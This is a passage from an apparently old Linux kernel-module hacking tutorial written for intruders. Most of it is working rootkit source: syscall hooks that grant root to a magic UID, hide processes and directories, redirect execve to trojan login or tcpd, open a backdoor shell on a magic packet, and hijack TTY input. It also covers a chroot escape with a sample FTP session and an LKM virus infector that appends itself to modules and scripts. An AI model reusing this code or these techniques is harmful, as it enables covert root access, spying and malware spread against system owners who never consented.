+Let's look at his implementation(I will only show the hacked_setuid systemcall): + + +... +int hacked_setuid(uid_t uid) +{ + int tmp; + + /*do we have the magic UID (defined in the LKM somewhere before*/ + if (uid == MAGICUID) { + /*if so set all UIDs to 0 (SuperUser)*/ + current->uid = 0; + current->euid = 0; + current->gid = 0; + current->egid = 0; + return 0; + } + tmp = (*o_setuid) (uid); + return tmp; +} +... + + +I think the following trick could also be very helpful in certain situation. +Imagine the following situation: You give a bad trojan to an (very silly) admin; +this trojan installs the following LKM on that system [i did not implement hide +features, just a prototype of my idea] : + + +#define MODULE +#define __KERNEL__ + +#include <linux/module.h> +#include <linux/kernel.h> +#include <asm/unistd.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <asm/fcntl.h> +#include <asm/errno.h> +#include <linux/types.h> +#include <linux/dirent.h> +#include <sys/mman.h> +#include <linux/string.h> +#include <linux/fs.h> +#include <linux/malloc.h> + +extern void* sys_call_table[]; + + +int (*orig_getuid)(); + +int hacked_getuid() +{ + int tmp; + + /*check for our UID*/ + if (current->uid=500) { + /*if its our UID -> this means we log in -> give us a rootshell*/ + current->uid = 0; + current->euid = 0; + current->gid = 0; + current->egid = 0; + return 0; + } + tmp = (*orig_getuid) (); + return tmp; +} + + +int init_module(void) /*module setup*/ +{ + orig_getuid=sys_call_table[SYS_getuid]; + sys_call_table[SYS_getuid]=hacked_getuid; + return 0; +} + +void cleanup_module(void) /*module shutdown*/ +{ + sys_call_table[SYS_getuid]=orig_getuid; +} + + +If this LKM is loaded on a system we are only a normal user, login will give us +a nice rootshell (the current process has SuperUser rights). As I said in part +I current points to the current task structure. + +

4.6 How to make a hacker-tools-directory unaccessible

+ +For hackers it is often important to make the directory they use for their tools +(advanced hackers don't use the regular local filesystem to store their data). +Using the getdents approach helped us to hide directory/files. The open approach +helped us to make our files unaccessible. But how to make our directory +unaccessible ?
+Well - as always - take a look at include/sys/syscall.h; you should be able to +figure out SYS_chdir as the systemcall we need (for people who don't believe it +just strace the 'cd' command...). This time I won't give you any source, because +you just need to intercept sys_mkdir, and make a string comparison. After this +you should make a regular call (if it is not our directory) or return ENOTDIR +(standing for 'there exists no directory with that name'). Now your tools should +really be hidden from intermediate admins (advanced / paranoid ones will scan +the HDD at its lowest level, but who is paranoid today besides us ?!). It should +also be possible to defeat this HDD scan, because everything is based on +systemcalls.
+ +

4.7 How to change CHROOT Environments

+ +This idea is totally taken from HISPAHACK (hispahack.ccc.de). They published a +real good text on that theme ('Restricting a restricted FTP'). I will explain +their idea in some short words. Please note that the following example will +not work anymore, it is quite old (see wu-ftpd version). I just show +it in order to explain how you can escape from chroot environments using LKMs. +The following text is based on old software (wuftpd) so don't try to use it in newer +wu-ftpd versions, it won't work.
+HISPAHACK's paper is based on the idea of an restricted user FTP account which has the +following permission layout :
+ +drwxr-xr-x 6 user users 1024 Jun 21 11:26 /home/user/ +drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/ + +This scenario (which you can often find) the user (we) can rename the bin +directory, because it is in our home directory.
+Before doing anything like that let's take a look at whe working of wu.ftpd +(the server they used for explanation, but the idea is more general). If we +issue a LIST command ../bin/ls will be executed with UID=0 (EUID=user's uid). +Before the execution is actually done wu.ftpd will use chroot(...) in order to +set the process root directory in a way we are restricted to the home directory. +This prevents us from accessing other parts of the filesystem via our FTP account +(restricted).
+Now imagine we could replace /bin/ls with another program, this program would +be executed as root (uid=0). But what would we win, we cannot access the whole +system because of the chroot(...) call. This is the point where we need a LKM +helping us. We remove .../bin/ls with a program which loads a LKM supplied by +us. This module will intercept the sys_chroot(...) systemcall. It must be +changed in way it will no more restrict us.
+This means we only need to be sure that sys_chroot(...) is doing nothing. +HISPAHACK used a very radical way, they just modified sys_chroot(...) in a way +it only returns 0 and nothing more. After loading this LKM you can spawn a new +process without being restricted anymore. This means you can access the whole +system with uid=0. The following listing shows the example 'Hack-Session' +published by HISPAHACK : + + +thx:~# ftp +ftp> o ilm +Connected to ilm. +220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready. +Name (ilm:root): user +331 Password required for user. +Password: +230 User user logged in.&nbsp; Access restrictions apply. +Remote system type is UNIX. +Using binary mode to transfer files.</TT></PRE> +ftp> ls +200 PORT command successful. +150 Opening ASCII mode data connection for /bin/ls. +total 5 +drwxr-xr-x 5 user users 1024 Jun 21 11:26 . +drwxr-xr-x 5 user users 1024 Jun 21 11:26 .. +d--x--x--x 2 root root 1024 Jun 21 11:26 bin +drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc +drwxr-xr-x 2 user users 1024 Jun 21 11:26 home +226 Transfer complete. +ftp> cd .. +250 CWD command successful. +ftp> ls +200 PORT command successful. +150 Opening ASCII mode data connection for /bin/ls. +total 5 +drwxr-xr-x 5 user users 1024 Jun 21 11:26 . +drwxr-xr-x 5 user users 1024 Jun 21 21:26 .. +d--x--x--x 2 root root 1024 Jun 21 11:26 bin +drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc +drwxr-xr-x 2 user users 1024 Jun 21 11:26 home +226 Transfer complete. +ftp> ls bin/ls +200 PORT command successful. +150 Opening ASCII mode data connection for /bin/ls. +---x--x--x 1 root root 138008 Jun 21 11:26 bin/ls +226 Transfer complete. +ftp> ren bin bin.old +350 File exists, ready for destination name +250 RNTO command successful. +ftp> mkdir bin +257 MKD command successful. +ftp> cd bin +250 CWD command successful. +ftp> put ls +226 Transfer complete. +ftp> put insmod +226 Transfer complete. +ftp> put chr.o +226 Transfer complete. +ftp> chmod 555 ls +200 CHMOD command successful. +ftp> chmod 555 insmod +200 CHMOD command successful. +ftp> ls +200 PORT command successful. +150 Opening ASCII mode data connection for /bin/ls. +UID: 0 EUID: 1002 +Cambiando EUID... +UID: 0 EUID: 0 +Cargando modulo chroot... +Modulo cargado. +226 Transfer complete. +ftp> bye +221 Goodbye. +thx:~# + +--> now we start a new FTP session without being restricted (LKM is loaded so + sys_chroot(...) is defeated. So do what you want (download passwd...) + +In the Appendix you will find the complete source code for the new ls and the +module.
+ +

5. Process related Hacks

+ +So far the filesystem is totally controlled by us. We discussed the most +interesting 'Hacks'. Now its time to change the direction. We need to discuss +LKMs confusing commands like 'ps' showing processes. + +

5.1 How to hide any process

+ +The most important thing we need everyday is hiding a process from the admin. +Imagine a sniffer, cracker (should normally not be done on hacked systems), ... +seen by an admin when using 'ps'. Oldschool tricks like changing the name of the +sniffer to something different, and hoping the admin is silly enough, are no good +for the 21. century. We want to hide the process totally. So lets look at an +implementation from plaguez (some very minor changes): + + +#define MODULE +#define __KERNEL__ + +#include <linux/module.h> +#include <linux/kernel.h> +#include <asm/unistd.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <asm/fcntl.h> +#include <asm/errno.h> +#include <linux/types.h> +#include <linux/dirent.h> +#include <sys/mman.h> +#include <linux/string.h> +#include <linux/fs.h> +#include <linux/malloc.h> +#include <linux/proc_fs.h> + +extern void* sys_call_table[]; + +/*process name we want to hide*/ +char mtroj[] = "my_evil_sniffer"; + +int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count); + +/*convert a string to number*/ +int myatoi(char *str) +{ + int res = 0; + int mul = 1; + char *ptr; + for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) { + if (*ptr < '0' || *ptr > '9') + return (-1); + res += (*ptr - '0') * mul; + mul *= 10; + } + return (res); +} + +/*get task structure from PID*/ +struct task_struct *get_task(pid_t pid) +{ + struct task_struct *p = current; + do { + if (p->pid == pid) + return p; + p = p->next_task; + } + while (p != current); + return NULL; +} + +/*get process name from task structure*/ +static inline char *task_name(struct task_struct *p, char *buf) +{ + int i; + char *name; + + name = p->comm; + i = sizeof(p->comm); + do { + unsigned char c = *name; + name++; + i--; + *buf = c; + if (!c) + break; + if (c == '\\') { + buf[1] = c; + buf += 2; + continue; + } + if (c == '\n') { + buf[0] = '\\'; + buf[1] = 'n'; + buf += 2; + continue; + } + buf++; + } + while (i); + *buf = '\n'; + return buf + 1; +} + +/*check whether we need to hide this process*/ +int invisible(pid_t pid) +{ + struct task_struct *task = get_task(pid); + char *buffer; + if (task) { + buffer = kmalloc(200, GFP_KERNEL); + memset(buffer, 0, 200); + task_name(task, buffer); + if (strstr(buffer, (char *) &mtroj)) { + kfree(buffer); + return 1; + } + } + return 0; +} + +/*see II.4 for more information on filesystem hacks*/ +int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) +{ + unsigned int tmp, n; + int t, proc = 0; + struct inode *dinode; + struct dirent *dirp2, *dirp3; + + tmp = (*orig_getdents) (fd, dirp, count); + +#ifdef __LINUX_DCACHE_H + dinode = current->files->fd[fd]->f_dentry->d_inode; +#else + dinode = current->files->fd[fd]->f_inode; +#endif + + if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) + proc=1; + if (tmp > 0) { + dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); + memcpy_fromfs(dirp2, dirp, tmp); + dirp3 = dirp2; + t = tmp; + while (t > 0) { + n = dirp3->d_reclen; + t -= n; + if ((proc && invisible(myatoi(dirp3->d_name)))) { + if (t != 0) + memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); + else + dirp3->d_off = 1024; + tmp -= n; + } + if (t != 0) + dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); + } + memcpy_tofs(dirp, dirp2, tmp); + kfree(dirp2); + } + return tmp; +} + + +int init_module(void) /*module setup*/ +{ + orig_getdents=sys_call_table[SYS_getdents]; + sys_call_table[SYS_getdents]=hacked_getdents; + return 0; +} + +void cleanup_module(void) /*module shutdown*/ +{ + sys_call_table[SYS_getdents]=orig_getdents; +} + + +The code seems complicated, but if you know how 'ps' and every process analyzing +tool works, it is really easy to understand. Commands like 'ps' do not use any +special systemcall for getting a list of the current processes (there exists no +systemcall doing this). By strace'in 'ps' you will recognize that it gets its +information from the /proc/ directory. There you can find lots of directories +with names only consisting of numbers. Those numbers are the PIDs of all running +processes on that system. Inside these directories you find files which provide +any information on that process.So 'ps' just does an 'ls' on /proc/; every number +it finds stands for a PID it shows in its well-known listing. The information it +shows us about every process is gained from reading the files inside /proc/PID/. +Now you should get the idea.'ps' must read the contents of the /proc/ directory, +so it must use sys_getdents(...).We just must get the name of the a PID found in +/proc/; if it is our process name we want to hide, we will hide it from /proc/ +(like we did with other files in the filesystem -> see 4.1). The two task +functions and the invisible(...) function are only used to get the name for a +given PID found in the proc directory and related stuff. The file hiding should +be clear after studying 4.1.
+I would improve only one point in plaguez approuch. I don't know why he used +a selfmade atoi-function, simple_strtoul(...) would be the easier way, but these +are peanuts. Of course, in a complete hide module you would put file and process +hiding in one hacked getdents call (this is the way plaguez did it).
+Runar Jensen used another, more complicated way. He also hides the PIDs from the +/proc directory, but the way he checks whether to hide or not is a bit different. +He uses the flags field in the task structure. This unsigned long field normally +uses the following constants to save some information on the task :
+
    +
  • PF_PTRACED : current process is observed
    +
  • PF_TRACESYS : " " " "
    +
  • PF_STARTING : process is going to start
    +
  • PF_EXITING : process is going to terminate
    +
+Now Runar Jensen adds his own constant (PF_INVISIBLE) which he uses to indicate +that the corresponding process should be invisible. So a PID found in /proc by +using sys_getdents(...) must not be resolved in its name. You only have to check +for the task flag field. This sounds easier than the 'name approach'. But how to +set this flag for a process we want to hide. Runar Jensen used the easiest way +by hooking sys_kill(...). The 'kill' command can send a special code (9 for +termination, for example) to any process speciafied by his PID. So start your +process which is going to be invisible, do a 'ps' for getting its PID. And use +a 'kill -code PID'. The code field must be a value that is not used by the +system (so 9 would be a bad choice); Runar Jensen took 32. So the module needs +to hook sys_kill(...) and check for a code of 32. If so it must set the task +flags field of the process specified through the PID given to sys_kill(...). +This is a way to set the flag field. Now it is clear why this approach is a bit +too complicated for an easy practical use. + +

5.2 How to redirect Execution of files

+ +In certain situations it could be very interesting to redirect the execution +of a file. Those files could be /bin/login (like plaguez did), tcpd, etc.. This +would allow you to insert any trojan without problem of checksum checks on those +files (you don't need to change them). So let's again search the responsible +systemcall. sys_execve(...) is the one we need. Let's take a look at plaguez +way of redirection (the original idea came from halflife) :
+ + +#define MODULE +#define __KERNEL__ + +#include <linux/module.h> +#include <linux/kernel.h> +#include <asm/unistd.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <asm/fcntl.h> +#include <asm/errno.h> +#include <linux/types.h> +#include <linux/dirent.h> +#include <sys/mman.h> +#include <linux/string.h> +#include <linux/fs.h> +#include <linux/malloc.h> + +extern void* sys_call_table[]; + +/*must be defined because of syscall macro used below*/ +int errno; + +/*we define our own systemcall*/ +int __NR_myexecve; + +/*we must use brk*/ +static inline _syscall1(int, brk, void *, end_data_segment); + +int (*orig_execve) (const char *, const char *[], const char *[]); + +/*here plaguez's user -> kernel space transition specialized for strings +is better than memcpy_fromfs(...)*/ +char *strncpy_fromfs(char *dest, const char *src, int n) +{ + char *tmp = src; + int compt = 0; + + do { + dest[compt++] = __get_user(tmp++, 1); + } + while ((dest[compt - 1] != '\0') && (compt != n)); + return dest; +} + + +/*this is something like a systemcall macro called with SYS_execve, the +asm code calls int 0x80 with the registers set in a way needed for our own +__NR_myexecve systemcall*/ +int my_execve(const char *filename, const char *argv[], const char *envp[]) +{ + long __res; + __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) + (filename)), "c"((long) (argv)), "d"((long) (envp))); + return (int) __res; +} + + +int hacked_execve(const char *filename, const char *argv[], const char *envp[]) +{ + char *test; + int ret, tmp; + char *truc = "/bin/ls"; /*the file we *should* be executed*/ + char *nouveau = "/bin/ps"; /*the new file which *will* be executed*/ + unsigned long mmm; + + test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL); + /*get file which a user wants to execute*/ + (void) strncpy_fromfs(test, filename, strlen(truc)); + test[strlen(truc)] = '\0'; + /*do we have our truc file ?*/ + if (!strcmp(test, truc)) + { + kfree(test); + mmm = current->mm->brk; + ret = brk((void *) (mmm + 256)); + if (ret < 0) + return ret; + /*set new program name (the program we want to execute instead of /bin/ls or + whatever)*/ + memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1); + /*execute it with the *same* arguments / environment*/ + ret = my_execve((char *) (mmm + 2), argv, envp); + tmp = brk((void *) mmm); + } else { + kfree(test); + /*no the program was not /bin/ls so execute it the normal way*/ + ret = my_execve(filename, argv, envp); + } + return ret; +} + +int init_module(void) /*module setup*/ +{ + /*the following lines choose the systemcall number of our new myexecve*/ + __NR_myexecve = 200; + while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) + __NR_myexecve--; + + orig_execve = sys_call_table[SYS_execve]; + if (__NR_myexecve != 0) + { + sys_call_table[__NR_myexecve] = orig_execve; + sys_call_table[SYS_execve] = (void *) hacked_execve; + } + return 0; +} + +void cleanup_module(void) /*module shutdown*/ +{ + sys_call_table[SYS_execve]=orig_execve; +} + + +When you loaded this module, every call to /bin/ls will just execute /bin/ps. +The following list gives you some ideas how to use this redirection of execve : +
    +
  • trojan /bin/login with a hacker login (how plaguez suggests)
    +
  • trojan tcpd to open a rootshell on a certain port, or to filter its logging + behaviour (remember CERT advisory on a trojan TCPD version)
    +
  • trojan inetd for a root shell
    +
  • trojan httpd, sendmail, ... any server you can think of, for a rootshell, by + issuing a special magic string
    +
  • trojan tools like tripwire, L6
    +
  • other system security relevant tools
    +
+There are thousands of other intersting programs to 'trojan', just use your +brain. + +

6. Network (Socket) related Hacks

+ +The network is the hacker's playground. So let's look at something which can +help us. + +

6.1 How to controll Socket Operations

+ +There are many things you can do by controlling Socket Operations. plaguez gave +us a nice backdoor. He just intercepts the sys_socketcall systemcall, waiting +for a packet with a certain length and a certain contents. So let's take a look +at his hacked systemcall (I will only show the hacked_systemcall, because the +rest is equal to every other LKM mentioned in this section) : + + +int hacked_socketcall(int call, unsigned long *args) +{ + int ret, ret2, compt; + + /*our magic size*/ + int MAGICSIZE=42; + + /*our magic contents*/ + char *t = "packet_contents"; + unsigned long *sargs = args; + unsigned long a0, a1, mmm; + void *buf; + + /*do the call*/ + ret = (*o_socketcall) (call, args); + + /*did we have magicsize & and a recieve ?*/ + if (ret == MAGICSIZE && call == SYS_RECVFROM) + { + /*work on arguments*/ + a0 = get_user(sargs); + a1 = get_user(sargs + 1); + buf = kmalloc(ret, GFP_KERNEL); + memcpy_fromfs(buf, (void *) a1, ret); + for (compt = 0; compt < ret; compt++) + if (((char *) (buf))[compt] == 0) + ((char *) (buf))[compt] = 1; + /*do we have magic_contents ?*/ + if (strstr(buf, mtroj)) + { + kfree(buf); + ret2 = fork(); + if (ret2 == 0) + { + /*if so execute our proggy (shell or whatever you want...) */ + mmm = current->mm->brk; + ret2 = brk((void *) (mmm + 256)); + memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1); + + /*plaguez's execve implementation -> see 4.2*/ + ret2 = my_execve((char *) mmm + 2, NULL, NULL); + } + } + } + return ret; +} + + +Ok, as always I added some comments to the code, which is a bit ugly, but working. +The code intercepts every sys_socketcall (which is responsible for everything +concerning socket-operations see I.2). Inside the hacked systemcall the code +first issues a normal systemcall. After that the return value and call variables +are checked. If it was a receive Socketcall and the 'packetsize' (...nothing to +do with TCP/IP packets...) is ok it will check the contents which was received. +If it can find our magic contents, the code can be sure,that we (hacker) want to +start the backdoor program. This is done by my_execve(...).
+In my opinion this approach is very good, it would also be possible to wait +for a speciel connect / close pattern, just be creative.
+Please remember that the methods mentioned above need a service listing on a +certain port, because the receive function is only issued by daemons receiving +data from an established connection. This is a disadvantage, because it could be +a bit suspect for some paranoid admins out there. Test those backdoor LKM ideas +first on your system to see what will happen. Find your favourite way of +backdoor'ing the sys_socketcall, and use it on your rooted systems. + +

7. Ways to TTY Hijacking

+ +TTY hijacking is very interesting and also something used since a very very long +time. We can grab every input from a TTY we specify throug its major and minor +number. In Phrack 50 halflife published a really good LKM doing this. The +following code is ripped from his LKM. It should show every beginner the basics +of TTY hijacking though its no complete implementation, you cannot use it in any +useful way, because I did not implement a way of logging the TTY input made +by the user. It's just for those of you who want to understand the basics, so +here we go : + + +#define MODULE +#define __KERNEL__ +#include <linux/module.h> +#include <linux/kernel.h> +#include <asm/unistd.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <asm/fcntl.h> +#include <asm/errno.h> +#include <linux/types.h> +#include <linux/dirent.h> +#include <sys/mman.h> +#include <linux/string.h> +#include <linux/fs.h> +#include <linux/malloc.h> +#include <asm/io.h> +#include <sys/sysmacros.h> + + +int errno; + +/*the TTY we want to hijack*/ +int tty_minor = 2; +int tty_major = 4; + +extern void* sys_call_table[]; + +/*we need the write systemcall*/ +static inline _syscall3(int, write, int, fd, char *, buf, size_t, count); + +void *original_write; + +/* check if it is the tty we are looking for */ +int is_fd_tty(int fd) +{ + struct file *f=NULL; + struct inode *inode=NULL; + int mymajor=0; + int myminor=0; + + if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode)) + return 0; + mymajor = major(inode->i_rdev); + myminor = minor(inode->i_rdev); + if(mymajor != tty_major) return 0; + if(myminor != tty_minor) return 0; + return 1; +} + +/* this is the new write(2) replacement call */ +extern int new_write(int fd, char *buf, size_t count) +{ + int r; + char *kernel_buf; + + if(is_fd_tty(fd)) + { + kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL); + memcpy_fromfs(kernel_buf, buf, count); + + /*at this point you can output buf whereever you want, it represents + every input on the TTY device referenced by the chosen major / minor + number + I did not implement such a routine, because you will see a complete & + very good TTY hijacking tool by halflife in appendix A */ + + kfree(kernel_buf); + } + sys_call_table[SYS_write] = original_write; + r = write(fd, buf, count); + sys_call_table[SYS_write] = new_write; + if(r == -1) return -errno; + else return r; +} + +int init_module(void) +{ + /*you should know / understand this...*/ + original_write = sys_call_table[SYS_write]; + sys_call_table[SYS_write] = new_write; + return 0; +} + + +void cleanup_module(void) +{ + /*no more hijacking*/ + sys_call_table[SYS_write] = original_write; +} + + + +The comments should make this code easy to read.The general idea is to intercept +sys_write (see 4.2) and filtering the fd value as I mentioned in 4.2. After +checking fd for the TTY we want to snoop, get the data written and write it +to some log (not implemented in the example above).There are several ways where +you can store the logs.halflife used a buffer (accessible through an own device) +which is a good idea (he can also control his hijack'er using ioctl-commands +on his device).
+I personally would recommand storing the logs in hidden (through LKM) file, +and making the controlling through some kind of IPC. Take the way which works +on your rooted system.
+ +

8. Virus writing with LKMs

+ +Now we will leave the hacking part for a second and take a look at the +world of virus coding (the ideas discussed here could also be +interesting for hackers, so read on...). I will concentrate this discussion +on the LKM infector made by Stealthf0rk/SVAT. In appendix A you will get the +complete source, so this section will only discuss important techniques and +functions. This LKM requires a Linux system (it was tested on a 2.0.33 system) +and kerneld installed (I will explain why).
+First of all you have to know that this LKM infector does not infect normal +elf executables (would also be possible,I will come to that point later->7.1), +it only infects modules, which are loaded / unloaded. This loading / unloading +is often managed by kerneld (see I.7). So imagine a module infected with the +virus code; when loading this module you also load the virus LKM which uses +hiding features (see 8). This virus module intercepts the sys_create_module +and sys_delete_module (see I.2) systemcalls for further infection. Whenever +a module is unloaded on that system it is infected by the new sys_delete_module +systemcall. So every module requested by kerneld (or manually) will be infected +when unloaded.
+You could imagine the following scenario for the first infection : +
    +
  • admin is searching a network driver for his new interface card (ethernet,...)
    +
  • he starts searching the web
    +
  • he finds a driver module which should work on his system & downloads it
    +
  • he installs the module on his system [the module is infected]
    +--> the infector is installed, the system is compromised
    +
+Of course, he did not download the source, he was lazy and took the risks using +a binary file. So admins never trust any binary files (esp. modules). +So I hope you see the chances / risks of LKM infectors, now let's look a bit +closer at the LKM infector by SVAT.
+Imagine you have the source for the virus LKM (a simple module, which intercepts +sys_create_module / sys_delete_module and some other [more tricky] stuff). The +first question would be how to infect an existing module (the host module). Well +let's do some experimenting. Take two modules and 'cat' them together like + + +# cat module1.o >> module2.o + + +After this try to insmod the resulting module2.o (which also includes module1.o +at its end). + + +# insmod module2.o + + +Ok it worked, now check which modules are loaded on your system + + +# lsmod +Module Pages Used by +module2 1 0 + + +So we know that by concatenating two modules the first one (concerning object +code) will be loaded, the second one will be ignored. And there will be no error +saying that insmod can not load corrupted code or so.
+With this in mind, it should be clear that a host module could be infected by + + +cat host_module.o >> virus_module.o +ren virus_module.o host_module.o + + +This way loading host_module.o will load the virus with all its nice LKM +features. But there is one problem, how do we load the actual host_module ? It +would be very strange to a user / admin when his device driver would do nothing. +Here we need the help of kerneld. As I said in I.7 you can use kerneld to load +a module. Just use request_module("module_name") in your sources.This will force +kerneld to load the specified module. But where do we get the original host +module from ? It is packed in host_module.o (together with virus_module.o). So +after compiling your virus_module.c to its objectcode you have to look at its +size (how many bytes). After this you know where the original host_module.o will +begin in the packed one (you must compile the virus_module two times : the first +one to check the objectcode size, the second one with the source changed +concerning objectsize which must be hardcoded...). After these steps your +virus_module should be able to extract the original host_module.o from the +packed one. You have to save this extracted module somewhere, and load it via +request_module("orig_host_module.o"). After loading the original host_module.o +your virus_module (which is also loaded from the insmod [issued by user, or +kerneld]) can start infecting any loaded modules.
+Stealthf0rk (SVAT) used the sys_delete_module(...) systemcall for doing the +infection, so let's take a look at his hacked systemcall (I only added some +comments) : + + +/*just the hacked systemcall*/ +int new_delete_module(char *modname) +{ + /*number of infected modules*/ + static int infected = 0; + int retval = 0, i = 0; + char *s = NULL, *name = NULL; + + /*call the original sys_delete_module*/ + retval = old_delete_module(modname); + + if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL) + return retval; + + /*check files to infect -> this comes from hacked sys_create_module; just + a feature of *this* LKM infector, nothing generic for this type of virus*/ + for (i = 0; files2infect[i][0] && i < 7; i++) + { + strcat(files2infect[i], ".o"); + if ((s = get_mod_name(files2infect[i])) == NULL) + { + return retval; + } + name = strcpy(name, s); + if (!is_infected(name)) + { + /*this is just a macro wrapper for printk(...)*/ + DPRINTK("try 2 infect %s as #%d\n", name, i); + /*increase infection counter*/ + infected++; + /*the infect function*/ + infectfile(name); + } + memset(files2infect[i], 0, 60 + 2); + } /* for */ + /* its enough */ + /*how many modules were infected, if enough then stop and quit*/ + if (infected >= ENOUGH) + cleanup_module(); + vfree(name); + return retval; +} + + +Well there is only one function interesting in this systemcall: infectfile(...). +So let's examine that function (again only some comments were added by me) : + + +int infectfile(char *filename) +{ + char *tmp = "/tmp/t000"; + int in = 0, out = 0; + struct file *file1, *file2; + + /*don't get confused, this is a macro define by the virus. It does the + kernel space -> user space handling for systemcall arguments(see I.4)*/ + BEGIN_KMEM + /*open objectfile of the module which was unloaded*/ + in = open(filename, O_RDONLY, 0640); + /*create a temp. file*/ + out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640); + /*see BEGIN_KMEM*/ + END_KMEM + + DPRINTK("in infectfile: in = %d out = %d\n", in, out); + if (in <= 0 || out <= 0) + return -1; + file1 = current->files->fd[in]; + file2 = current->files->fd[out]; + if (!file1 || !file2) + return -1; + /*copy module objectcode (host) to file2*/ + cp(file1, file2); + BEGIN_KMEM + file1->f_pos = 0; + file2->f_pos = 0; + /* write Vircode [from mem] */ + DPRINTK("in infetcfile: filenanme = %s\n", filename); + file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN); + cp(file2, file1); + close(in); + close(out); + unlink(tmp); + END_KMEM + return 0; +} + +I think the infection function should be quite clear.
+There is only thing left which I think is necessary to discuss : How does +the infected module first start the virus, and load the original module (we know +the theory, but how to do it in reality) ?
+For answering this question lets take a look at a function called +load_real_mod(char *path_name, char* name) which manages that problem : + + +/* Is that simple: we disinfect the module [hide 'n seek] + * and send a request to kerneld to load + * the orig mod. N0 fuckin' parsing for symbols and headers + * is needed - cool. + */ +int load_real_mod(char *path_name, char *name) +{ + int r = 0, i = 0; + struct file *file1, *file2; + int in = 0, out = 0; + + DPRINTK("in load_real_mod name = %s\n", path_name); + if (VirCode) + vfree(VirCode); + VirCode = vmalloc(MODLEN); + if (!VirCode) + return -1; + BEGIN_KMEM + /*open the module just loaded (->the one which is already infected)*/ + in = open(path_name, O_RDONLY, 0640); + END_KMEM + if (in <= 0) + return -1; + file1 = current->files->fd[in]; + if (!file1) + return -1; + /* read Vircode [into mem] */ + BEGIN_KMEM + file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN); + close(in); + END_KMEM + /*split virus / orig. module*/ + disinfect(path_name); + /*load the orig. module with kerneld*/ + r = request_module(name); + DPRINTK("in load_real_mod: request_module = %d\n", r); + return 0; +} + + +It should be clear *why* this LKM infector need kerneld now, we need to load the +original module by requesting it with request_module(...). +I hope you understood this very basic journey through the world of LKM infectors +(virus). The next sub sections will show some basic extensions / ideas concering +LKM infectors. + +

8.1 How a LKM virus can infect any file (not just modules)

+ +Please don't blame me for not showing a working example of this idea, I just +don't have the time to implement it at the moment (look for further releases). +As you saw in II.4.2 it is possible to catch the execute of every file using +an intercepted sys_execve(...) systemcall. Now imagine a hacked systemcall which +appends some data to the program that is going to be executed. The next time +this program is started, it first starts our added part and then the original +program (just a basic virus scheme). We all know that there are some existing +Linux / unix viruses out there, so why don't we try to use LKMs infect our elf +executables not just modules.We could infect our executables,in a way that they +check for UID=0 and then load again our infection module... I hope you +understood the general idea.
+I have to admit, that the modification needed to elf files is quite tricky, but +with enough time you could do it (it was done several times before, just take a +look at existing Linux viruses).
+First of all you have to check for the file type which is going to be execute +by sys_execve(...). There are several ways to do it; one of the fastest is to +read some bytes from the file and checking them against the ELF string. After +this you can use write(...) / read(...) / ... calls to modify the file, look at +the LKM infector to see how it does it.
+My theory would stay theory without any proof, so I present a very easy and +useless LKM *script* infector. You cannot do anything virus like with it, it just +infects a script with certain commands and nothing else; no real virus features.
+I show you this example as a concept of LKMs infecting any file you execute. +Even Java files could be infected, because of the features provided by the Linux +kernel. Here comes the little LKM script infector : + + +#define __KERNEL__ +#define MODULE + +/*taken from the original LKM infector; it makes the whole LKM a lot easier*/ +#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds()); +#define END_KMEM set_fs(old_fs);} + +#include <linux/version.h> +#include <linux/mm.h> +#include <linux/unistd.h> +#include <linux/fs.h> +#include <linux/types.h> +#include <asm/errno.h> +#include <asm/string.h> +#include <linux/fcntl.h> +#include <sys/syscall.h> +#include <linux/module.h> +#include <linux/malloc.h> +#include <linux/kernel.h> +#include <linux/kerneld.h> + +int __NR_myexecve; + +extern void *sys_call_table[]; + +int (*orig_execve) (const char *, const char *[], const char *[]); + +int (*open)(char *, int, int); +int (*write)(unsigned int, char*, unsigned int); +int (*read)(unsigned int, char*, unsigned int); +int (*close)(int); + + +/*see II.4.2 for explanation*/ +int my_execve(const char *filename, const char *argv[], const char *envp[]) +{ + long __res; + __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); + return (int) __res; +} + +/*infected execve systemcall + infection routine*/ +int hacked_execve(const char *filename, const char *argv[], const char *envp[]) +{ + char *test, j; + int ret; + int host = 0; + + /*just a buffer for reading up to 20 files (needed for identification of + execute file*/ + test = (char *) kmalloc(21, GFP_KERNEL); + + /*open the host script, which is going to be executed*/ + host=open(filename, O_RDWR|O_APPEND, 0640); + + BEGIN_KMEM + + /*read the first 20 bytes*/ + read(host, test, 20); + + /*is it a normal shell script (as you see, you can modify this for *any* + executable*/ + if (strstr(test, "#!/bin/sh")!=NULL) + { + /*a little debug message*/ + printk("<1>INFECT !\n"); + /*we are friendly and attach a peaceful command*/ + write(host, "touch /tmp/WELCOME", strlen("touch /tmp/WELCOME")); + } + END_KMEM + /*modification is done, so close our host*/ + close(host); + /*free allocated memory*/ + kfree(test); + /*execute the file (the file is execute WITH the changes made by us*/ + ret = my_execve(filename, argv, envp); 